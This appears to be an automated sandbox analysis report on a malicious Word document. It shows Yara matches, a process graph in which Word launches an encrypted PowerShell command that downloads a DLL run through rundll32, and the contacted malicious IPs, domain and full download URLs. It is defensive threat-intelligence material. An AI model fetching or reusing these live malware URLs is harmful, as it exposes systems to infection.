Source: Yara match File source: 00000008.00000002.2100381463.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2100479204.0000000000210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2098570175.0000000000250000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2101843571.0000000000210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2345928657.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 8.2.rundll32.exe.280000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.250000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.210000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.260000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.280000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.180000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.250000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.260000.0.raw.unpack, type: UNPACKEDPE
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 343691 Sample: Notice 8283393_829.doc Startdate: 25/01/2021 Architecture: WINDOWS Score: 100 44 Multi AV Scanner detection for domain / URL 2->44 46 Antivirus detection for URL or domain 2->46 48 Multi AV Scanner detection for submitted file 2->48 50 12 other signatures 2->50 11 cmd.exe 2->11         started        14 WINWORD.EXE 293 28 2->14         started        process3 signatures4 54 Suspicious powershell command line found 11->54 56 Very long command line found 11->56 58 Encrypted powershell cmdline option found 11->58 16 powershell.exe 12 9 11->16         started        21 msg.exe 11->21         started        process5 dnsIp6 38 shannared.com 192.169.223.13, 49167, 80 AS-26496-GO-DADDY-COM-LLCUS United States 16->38 36 C:\Users\user\Kaktksw\An6othh3649I.dll, PE32 16->36 dropped 52 Powershell drops PE file 16->52 23 rundll32.exe 16->23         started        file7 signatures8 process9 process10 25 rundll32.exe 23->25         started        process11 27 rundll32.exe 2 25->27         started        signatures12 60 Hides that the sample has been downloaded from the Internet (zone.identifier) 27->60 30 rundll32.exe 27->30         started        process13 process14 32 rundll32.exe 9 30->32         started        dnsIp15 40 84.232.229.24, 49168, 80 RCS-RDS73-75DrStaicoviciRO Romania 32->40 42 System process connects to network (likely due to code injection or exploit) 32->42 signatures16
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
84.232.229.24
 unknown Romania
8708 RCS-RDS73-75DrStaicoviciRO true
192.169.223.13
 unknown United States
26496 AS-26496-GO-DADDY-COM-LLCUS true

Contacted Domains

Name IP Active
shannared.com 192.169.223.13 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://shannared.com/content/lhALeS/ true
  • Avira URL Cloud: malware
 unknown
http://84.232.229.24/ozrf6dcy5j/7k5jvcfnl1c/ccmrg6oyv4nizx6/ true
  • Avira URL Cloud: safe
 unknown